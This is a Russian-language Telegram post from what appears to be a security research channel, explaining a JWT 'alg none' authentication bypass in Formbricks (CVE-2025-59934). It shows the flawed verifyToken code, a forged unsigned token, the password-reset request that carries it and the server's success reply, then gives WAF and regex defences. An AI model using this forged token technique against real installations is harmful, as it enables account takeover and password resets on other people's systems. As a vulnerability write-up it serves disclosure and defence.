TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #139 3.5K
JWT "alg none" vulnerability — CVE-2025-59934

CVE-2025-59934 — уязвимость в Formbricks, которая связана с процедурой валидации токенов. Она только декодирует JWT без проверки их подписей, что позволяет обходить авторизацию или сбрасывать пароль. Уязвимы версии до 4.0.1.

Formbricks — платформа с открытым исходным кодом для сбора отзывов и управления пользовательским опытом. Имеет более 11 тысяч звезд на github.

🫡 Метрики
Base Score: 9,4 Critical
CWE: 345, 287, 347


🫡 Кратко о JWT
JWT (JSON Web Token) — токен авторизации, который состоит из следующих компонентов:

Header — информация об алгоритме и типе токена;
Payload — полезные данные, например ID пользователя, роли;
Signature — защита от подделки (цифровая подпись).

Всё это кодируется в Base64Url :
xxxxx.yyyyy.zzzzz


🫡 Подробнее
В файле apps/web/lib/jwt.ts до патча существовал такой участок кода:
export const verifyToken = async (token: string): Promise<JwtPayload> => {
// First decode to get the ID
const decoded = jwt.decode(token);
const payload: JwtPayload = decoded as JwtPayload;

if (!payload) {
throw new Error("Token is invalid");
}


jwt.decode() не проверяет подпись токена — функция просто берёт base64-данные из токена и превращает их в объект.

То есть если взять любой существующий userId из базы и создать токен вида:
header = {"alg":"none","typ":"JWT"}
payload = {"id":"cmg52lkge0000pd01oq32fjhe"}

jwt.decode() его спокойно примет. И если пользователь существует, возвращает валидный JwtPayload.

Другими словами, проверка подлинности (verify) обходится — токен можно «подделать» вручную.

Важно: для атаки необходимо знать user.id. Этот идентификатор хранится в базе данных PostgreSQL.

🫡 Эксплуатация
Создаем JWT вида
base64Encode:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.


base64Decode:
{
"alg": "none",
"typ": "JWT"
}
{
"id": "cmg52lkge0000pd01oq32fjhe"
}


Отправляем запрос:
http://localhost:3001/auth/forgot-password/reset?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.


Получает ответ от сервера:
0:{"a":"$@1","f":"","b":"Ap_lGlUnNFOHjKjBaGekh"}
1:{"data":{"success":true}}


🫡 Как защищаться
Если на WAF можно декодировать JWT в параметре запроса, то настроить его так, чтобы запросы токенами с "alg":"none" блокировались.

Если такой возможности нет, то можно воспользоваться подобным регулярным выражением, которые бы проверяло целостность JWT ^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.$.
  • 🔥 9
  • 👍 8
  • ❤ 5
  • 🙉 1
  • 👾 1
More from @four_rays
  1. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  2. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  3. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  4. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  5. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
  6. Aug 17, 2026😀 Admin may cry CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администрато…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →